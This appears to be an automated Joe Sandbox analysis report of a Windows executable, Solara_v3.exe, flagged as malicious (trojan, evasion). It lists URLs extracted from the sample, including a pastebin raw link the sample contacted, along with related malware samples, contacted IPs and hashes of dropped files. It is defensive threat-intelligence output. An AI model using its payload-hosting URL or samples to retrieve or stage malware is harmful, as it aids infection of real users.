                                  https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=Solara_v3.exefalse
                                    		high
                                    https://crbug.com/v8/8520turbo_fast_api_callsenableSolara_v3.exefalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScopeSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://deno.land/manual/runtime/compiler_apis#denobundle).Solara_v3.exefalse
                                        		high
                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000003.00000002.2161258730.000001E100001000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://github.com/bitinn/node-fetch/blob/master/src/headers.jsSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkErrSolara_v3.exefalse
                                              		high
                                              https://w3c.github.io/permissions/#status-of-a-permissionSolara_v3.exefalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://developer.mozilla.org/)Solara_v3.exefalse
                                                		high
                                                https://dl.deno.land/canary/Solara_v3.exefalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://fetch.spec.whatwg.org/#body-mixinSolara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://github.com/inexorabletash/text-encodingSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://go.micropowershell.exe, 00000003.00000002.2161258730.000001E101194000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=EDSolara_v3.exefalse
                                                          		high
                                                          https://w3c.github.io/permissions/#permission-descriptorSolara_v3.exefalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://contoso.com/Iconpowershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://dom.spec.whatwg.org/#retargetSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://golang.org/pkg/bytes/#Buffer.Grow).Solara_v3.exefalse
                                                              		high
                                                              https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.Solara_v3.exefalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://github.com/Pester/Pesterpowershell.exe, 00000003.00000002.2161258730.000001E100235000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/compileSolara_v3.exefalse
                                                                  		high
                                                                  https://www.catcert.net/verarrelSolara_v3.exefalse
                                                                    		high
                                                                    https://myserver.comSolara_v3.exefalse
                                                                      		high
                                                                      https://w3c.github.io/FileAPI/Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://golang.org/pkg/bytes/#Buffer).Solara_v3.exefalse
                                                                        		high
                                                                        https://github.com/beatgammit/base64-js/issues/42Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://url.spec.whatwg.org/#idnaSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://dom.spec.whatwg.org/#concept-event-path-appendSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://github.com/Microsoft/TypeScript/issues/2577)Solara_v3.exefalse
                                                                            		high
                                                                            https://dl.deno.land/canary/(baSolara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmp, Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory)Solara_v3.exefalse
                                                                              		high
                                                                              https://github.com/golang/go/blob/master/LICENSESolara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileSolara_v3.exefalse
                                                                                  		high
                                                                                  https://github.com/WICG/import-maps#the-import-mapSetSolara_v3.exefalse
                                                                                    		high
                                                                                    http://man7.org/linux/man-pages/man2/shutdown.2.htmlSolara_v3.exefalse
                                                                                      		high
                                                                                      https://wicg.github.io/import-maps/Solara_v3.exefalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://html4/loose.dtdSolara_v3.exefalse
                                                                                        		high
                                                                                        https://github.com/ctz/webpki-rootsSolara_v3.exefalse
                                                                                          		high
                                                                                          https://github.com/v8/v8/blob/24886f2d1c565287d33d71e4109a53bf0b54b75c/LICENSE.v8Solara_v3.exefalse
                                                                                            		high
                                                                                            http://www.unicode.org/Public/UNIDATA/EastAsianWidth.txtSolara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/validatSolara_v3.exefalse
                                                                                                		high
                                                                                                https://deno.land/std/examples/cat.tsSolara_v3.exefalse
                                                                                                  		high
                                                                                                  https://tools.ietf.org/html/rfc2046#section-5.1Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://github.com/github/fetch/blob/master/fetch.jsSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://contoso.com/Licensepowershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table)Solara_v3.exefalse
                                                                                                          		high
                                                                                                          https://github.com/vadimg/js_bintrees.Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://deno.land/manual/linking_to_external_code/import_mapsSolara_v3.exefalse
                                                                                                              		high
                                                                                                              https://pastebin.com/raw/RsTRUBebSolara_v3.exe, 00000000.00000002.2192007524.000001E8E3F90000.00000004.00000020.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000002.2191930494.000001E8E26C9000.00000004.00000020.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190676361.000001E8E26C7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://dom.spec.whatwg.org/#event-pathSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://deno.land/std/examples/colors.tsSolara_v3.exefalse
                                                                                                                  		high
                                                                                                                  http://.cssSolara_v3.exefalse
                                                                                                                    		high
                                                                                                                    https://some/file.tsSolara_v3.exefalse
                                                                                                                    • Avira URL Cloud: safe
                                                                                                                    		unknown
                                                                                                                    https://github.com/clap-rs/clap/issuesSolara_v3.exefalse
                                                                                                                      		high
                                                                                                                      https://dl.deno.land/canary-latest.txtSolara_v3.exefalse
                                                                                                                      • Avira URL Cloud: safe
                                                                                                                      		unknown
                                                                                                                      https://github.com/clap-rs/clap/issuesH9uSolara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmp, Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://deno.land/std/Solara_v3.exefalse
                                                                                                                          		high
                                                                                                                          https://w3c.github.io/user-timing)Solara_v3.exefalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          https://golang.org/pkg/io/#pkg-constantsSolara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://crbug.com/v8/8520Solara_v3.exefalse
                                                                                                                              		high
                                                                                                                              https://fetch.spec.whatwg.org/#concept-construct-readablestreamSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              • Avira URL Cloud: safe
                                                                                                                              		unknown
                                                                                                                              https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope)Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://contoso.com/powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://deno.land/std/testing/asserts.tsSolara_v3.exefalse
                                                                                                                                    		high
                                                                                                                                    https://github.com/denoland/deno/tree/master/test_pluginSolara_v3.exefalse
                                                                                                                                      		high
                                                                                                                                      https://fetch.spec.whatwg.org/#dom-headersSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global)Solara_v3.exefalse
                                                                                                                                        		high
                                                                                                                                        https://dl.deno.land/canary/(bSolara_v3.exefalse
                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                        		unknown
                                                                                                                                        https://github.com/denoland/deno/issues/4591)Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://deno.land/manualSolara_v3.exefalse
                                                                                                                                            		high
                                                                                                                                            http://.jpgSolara_v3.exefalse
                                                                                                                                              		high
                                                                                                                                              https://deno.land/std/examples/welcome.tsSolara_v3.exefalse
                                                                                                                                                		high
                                                                                                                                                http://nuget.org/NuGet.exepowershell.exe, 00000003.00000002.2173830740.000001E110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high

                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public IPs

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  104.20.4.235
                                                                                                                                                  		pastebin.comUnited States
                                                                                                                                                  		13335CLOUDFLARENETUSfalse

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                  Analysis ID:1585428
                                                                                                                                                  Start date and time:2025-01-07 16:26:22 +01:00
                                                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 5m 15s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:full
                                                                                                                                                  Cookbook file name:default.jbs
                                                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                  Run name:Run with higher sleep bypass
                                                                                                                                                  Number of analysed new started processes analysed:9
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Sample name:Solara_v3.exe
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal76.troj.expl.evad.winEXE@10/10@1/1
                                                                                                                                                  EGA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  HCA Information:
                                                                                                                                                  • Successful, ratio: 87%
                                                                                                                                                  • Number of executed functions: 4
                                                                                                                                                  • Number of non-executed functions: 2
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Found application associated with file extension: .exe
                                                                                                                                                  • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                                                                                                  • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored
                                                                                                                                                  • Stop behavior analysis, all processes terminated

                                                                                                                                                  Warnings

                                                                                                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
                                                                                                                                                  • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                  • VT rate limit hit for: Solara_v3.exe

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  ⊘No simulations

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  104.20.4.235gabe.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  vF20HtY4a4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  gaber.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  cr_asm_crypter.ps1Get hashmaliciousUnknownBrowse
                                                                                                                                                  • pastebin.com/raw/sA04Mwk2
                                                                                                                                                  sostener.vbsGet hashmaliciousNjratBrowse
                                                                                                                                                  • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                  sostener.vbsGet hashmaliciousXWormBrowse
                                                                                                                                                  • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                  envifa.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                                  • pastebin.com/raw/V9y5Q5vv
                                                                                                                                                  New Voicemail Invoice 64746w .jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                  • pastebin.com/raw/NsQ5qTHr

                                                                                                                                                  Domains

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  pastebin.comDrivespan.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                  • 104.20.3.235
                                                                                                                                                  XClient.exeGet hashmaliciousXWormBrowse
                                                                                                                                                  • 172.67.19.24
                                                                                                                                                  ogVinh0jhq.exeGet hashmaliciousDCRatBrowse
                                                                                                                                                  • 104.20.4.235
                                                                                                                                                  hiwA7Blv7C.exeGet hashmaliciousXmrigBrowse
                                                                                                                                                  • 172.67.19.24
                                                                                                                                                  CRf9KBk4ra.exeGet hashmaliciousDCRatBrowse
                                                                                                                                                  • 172.67.19.24
                                                                                                                                                  dF66DKQP7u.exeGet hashmaliciousXWormBrowse
                                                                                                                                                  • 104.20.3.235
                                                                                                                                                  2QaN4hOyJs.exeGet hashmaliciousXWormBrowse
                                                                                                                                                  • 104.20.3.235
                                                                                                                                                  bad.txtGet hashmaliciousAsyncRATBrowse
                                                                                                                                                  • 104.20.3.235
                                                                                                                                                  dlhost.exeGet hashmaliciousXWormBrowse
                                                                                                                                                  • 104.20.4.235

                                                                                                                                                  ASNs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                  CLOUDFLARENETUShttps://publuu.com/flip-book/763064/1693399Get hashmaliciousUnknownBrowse
                                                                                                                                                  • 104.16.124.96
                                                                                                                                                  https://viirtus.com/?uhqubmdv=6b0cf7592247f0ce6faa27a3b42d16a0fdea3bcbc625e658150f2141942e41191a6f5794e3683bbd4b95a6a792b5cafae4f710289eba79c968c11a2e84a1f677Get hashmaliciousOutlook Phishing, HTMLPhisherBrowse
                                                                                                                                                  • 104.17.25.14
                                                                                                                                                  SecurityScan_Release.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                  • 172.64.41.3
                                                                                                                                                  SecurityScan_Release.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                  • 172.64.41.3
                                                                                                                                                  http://11ofus.caGet hashmaliciousUnknownBrowse
                                                                                                                                                  • 104.17.25.14
                                                                                                                                                  [UPD]Intel_Unit.2.1.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                  • 104.21.64.1
                                                                                                                                                  Installer.exeGet hashmaliciousLummaC, PureLog StealerBrowse
                                                                                                                                                  • 104.21.96.1
                                                                                                                                                  Setup.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                  • 188.114.96.3
                                                                                                                                                  setup.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                  • 188.114.97.3

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  ⊘No context

                                                                                                                                                  Dropped Files

                                                                                                                                                  ⊘No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1564
                                                                                                                                                  Entropy (8bit):5.634730671673348
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:48:6SU4y4RQmFoUeCamfm9qr9tK8NLyAHu9OjlZS5GF7:nHyIFKL2O9qr2KLynOZZ4w7
                                                                                                                                                  MD5:ACBCBCDB1C852A6B58DAA52298620D49
                                                                                                                                                  SHA1:9CB4BF2026E378ECD1C22572B5540F572B348E7D
                                                                                                                                                  SHA-256:AF893BEB369FAD95D0776B017856B164AD7F44F9EDAD57A23F59EB0F9E3882C0
                                                                                                                                                  SHA-512:54205F5F41A539F47138347F75B840E105BFB175FF4E35001BDBAB858C453BBE54CA4517EF10D14F8074A1BC764D74DC08F3A925E186438822C05F7CDC2EB417
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview:@...e...........\.......................).......................@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\RES37CB.tmp

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                  File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Tue Jan 7 17:07:50 2025, 1st section name ".debug$S"
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1336
                                                                                                                                                  Entropy (8bit):3.9877613005637307
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:24:Hhm9plD6XppHmhwKqxmNII+ycuZhNiqakS9bPNnqSSd:AUX3GKKqxmu1uliqa39RqSC
                                                                                                                                                  MD5:6F05036FEB70252DFA491E9B923F0773
                                                                                                                                                  SHA1:12AE9C88464C75847659C8CAE2218BE985777006
                                                                                                                                                  SHA-256:9FF73E5C39650B9B4FA703BECE219A3013A4A0F778966085DC52862DC70B7827
                                                                                                                                                  SHA-512:B4A07E9C7C4D3BBDE0EB408FE67C098E7DB28002F04FE9A966EDB40327757CE463E55003CC51EB4D7A8D27AB2E7E098BE6BE50F068EEC56FB0FCAFA8C379BE73
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview:L...f_}g.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP....................5....Ma_.Ti.3...........5.......C:\Users\user\AppData\Local\Temp\RES37CB.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...q.e.2.p.u.g.v.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_belvm2bd.wbi.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):60
                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:high, very likely benign file
                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slhvrxoz.eib.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):60
                                                                                                                                                  Entropy (8bit):4.038920595031593
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                  Malicious:false
                                                                                                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                  File Type:MSVC .res
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):652
                                                                                                                                                  Entropy (8bit):3.1076480820804635
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryEqak7Ynqq9bPN5Dlq5J:+RI+ycuZhNiqakS9bPNnqX
                                                                                                                                                  MD5:B9BC351FA98FAB4D615FB954690533CC
                                                                                                                                                  SHA1:0E6C297542B02C38E3A51FB3B0CA22674B9480A5
                                                                                                                                                  SHA-256:A433A90BC6BFEA1A77D38FBE980A3C05E03530EB68F0FC86F6288B4B62CBBBD4
                                                                                                                                                  SHA-512:CB9B04918B85D94F24C66730E2F5C76070A4FC24F623D0BDA52B3143C74C7379188254A58BB295F692FDA1C2978F4E43E3F885CE663AC75143403F17CBA05CA1
                                                                                                                                                  Malicious:false
